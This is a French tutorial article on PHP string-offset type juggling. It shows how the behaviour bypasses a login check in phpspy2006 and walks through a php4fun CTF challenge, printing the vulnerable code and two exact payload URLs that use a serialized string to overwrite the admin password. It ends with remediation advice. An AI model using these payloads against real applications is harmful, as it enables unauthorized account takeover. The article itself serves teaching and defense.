Maison  >  Article  >  développement back-end  >  Solution pour contourner la vulnérabilité causée par la fonctionnalité offset en php

Solution pour contourner la vulnérabilité causée par la fonctionnalité offset en php

小云云
小云云original
2018-02-08 13:53:581906parcourir

Cet article vous présente principalement les informations pertinentes sur la vulnérabilité de contournement causée par la fonctionnalité de décalage de caractères dans PHP. L'article présente non seulement la formation de la vulnérabilité en détail, mais, plus important encore, présente la méthode de réparation, qui présente certaines caractéristiques. référence pour tout le monde. Valeur d’apprentissage, j’espère que cela pourra aider tout le monde.

Fonctionnalité de décalage de caractères en php

Les chaînes en php ont une fonctionnalité très intéressante. Les chaînes en php peuvent également être évaluées comme des tableaux.

$test = "hello world";
echo $test[0];

Le résultat final est h.

Mais la fonctionnalité ci-dessus a parfois des effets inattendus, regardez le code suivant

$mystr = "hello world";
echo $mystr["pass"];

Le résultat de sortie du code ci-dessus est h. Pourquoi est-ce ? En fait, c'est très simple, comme beaucoup d'autres langages, les chaînes en PHP peuvent utiliser des indices pour obtenir des valeurs, tout comme les tableaux. La passe dans $mystr["pass"] sera implicitement convertie en 0, de sorte que le résultat de sortie de $mystr[0] soit la lettre initiale h.
De même, si vous essayez le code suivant :

$mystr = "hello world";
echo $mystr["1pass"];

Le résultat de sortie est e. Parce que 1pass sera converti en 1 par type implicite, le résultat de sortie de $mystr[1] est la deuxième lettre e.

Vulnérabilité causée par les caractéristiques du caractère

Le code suivant est utilisé dans phpspy2006 pour déterminer le moment de la connexion.

$admin['check'] = "1";
$admin['pass'] = "angel";
......
if($admin['check'] == "1") {
....
}

Une telle logique de vérification peut être facilement contournée en utilisant les fonctionnalités ci-dessus. $admin n'est pas initialement défini comme un type de tableau, donc lorsque nous soumettons phpsyp.php?admin=1abc avec une chaîne, PHP prendra le premier bit de la chaîne 1xxx, contournant avec succès le jugement conditionnel if.

Le code ci-dessus est un fragment de code, et le code suivant est un code logique complet, qui vient de la question 5 de php4fun, ce qui est assez intéressant.

<?php
# GOAL: overwrite password for admin (id=1)
#  Try to login as admin
# $yourInfo=array( //this is your user data in the db
# &#39;id&#39; => 8,
# 'name' => 'jimbo18714',
# 'pass' => 'MAYBECHANGED',
# 'level' => 1
# );
require 'db.inc.php';

function mres($str)
{
 return mysql_real_escape_string($str);
}

$userInfo = @unserialize($_GET['userInfo']);

$query = 'SELECT * FROM users WHERE id = \'' . mres($userInfo['id']) . '\' AND pass = \'' . mres($userInfo['pass']) . '\';';

$result = mysql_query($query);
if (!$result || mysql_num_rows($result) < 1) {
 die(&#39;Invalid password!&#39;);
}

$row = mysql_fetch_assoc($result);
foreach ($row as $key => $value) {
 $userInfo[$key] = $value;
}

$oldPass = @$_GET['oldPass'];
$newPass = @$_GET['newPass'];
if ($oldPass == $userInfo['pass']) {
 $userInfo['pass'] = $newPass;
 $query = 'UPDATE users SET pass = \'' . mres($newPass) . '\' WHERE id = \'' . mres($userInfo['id']) . '\';';
 mysql_query($query);
 echo 'Password Changed.';
} else {
 echo 'Invalid old password entered.';
}

Internet ne donne qu'une réponse définitive à cette question, et les principes ne sont pas expliqués ou pas expliqués en détail. En fait, le principe réside dans les caractéristiques de caractère de PHP mentionnées ci-dessus.

L'exigence de la question est très simple : changez le mot de passe de l'administrateur et l'identifiant de l'administrateur est 1. Nous devons réfléchir aux questions suivantes :

  • Comment changer l'identifiant en 1 lors de la mise à jour

  • $userInfo['pass'] = $newPass ; Que fait cette ligne de code ? Pourquoi ce type de code existe-t-il dans l'instruction de jugement if

Après avoir trouvé ces deux problèmes, nous avons la solution finale. Changez le mot de passe de l'utilisateur avec l'ID 8 en 8, puis transmettez une chaîne userInfo '8' pour briser la protection des requêtes, et enfin utilisez $userInfo['pass'] = $newPass pour changer l'ID en 1.

La charge utile finale est :

Première soumission, index.php?userInfo=a:2:{s:2:"id";i:8 ;s :4:"pass";s:12:"MAYBECHANGED";}&oldPass=MAYBECHANGED&newPass=8, le but est de changer le mot de passe de l'utilisateur avec l'identifiant 8 en 8

Soumettre pour le deuxième time , index.php?userInfo=s:1:"8";&oldPass=8&newPass=1, de cette façon, le $userInfo sérialisé obtiendra la chaîne '8', c'est-à-dire $userInfo = '8', donc le la vérification des requêtes de base de données peut réussir. La vérification if ultérieure peut également passer, via cette ligne de code $userInfo['pass'] = $newPass;, puisque la valeur de $newpass est 1, alors le code ci-dessus devient $userInfo['pass'] = 1;, $userInfo En raison d'un type de chaîne, le résultat final est $userInfo='1', et enfin le mot de passe de l'utilisateur avec l'identifiant 1 peut être mis à jour.

Méthode de réparation

La méthode de réparation de ce type de vulnérabilité est également très simple. Définissez le type de données à l'avance et vérifiez si le type de données utilisé est cohérent avec celui attendu lors de son utilisation. Sinon, les problèmes de contournement mentionnés ci-dessus se produiront. Dans le même temps, les entrées doivent être contrôlées et les données d'entrée doivent être vérifiées et non utilisées avec désinvolture.

Recommandations associées :

Analyse d'instance du décalage et du mouvement uniforme dans JS

Optimisation SQL du décalage excessif lors de la pagination MySQL Exemple de partage

Explication détaillée de la différence entre style.width et offsetWidth en js

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn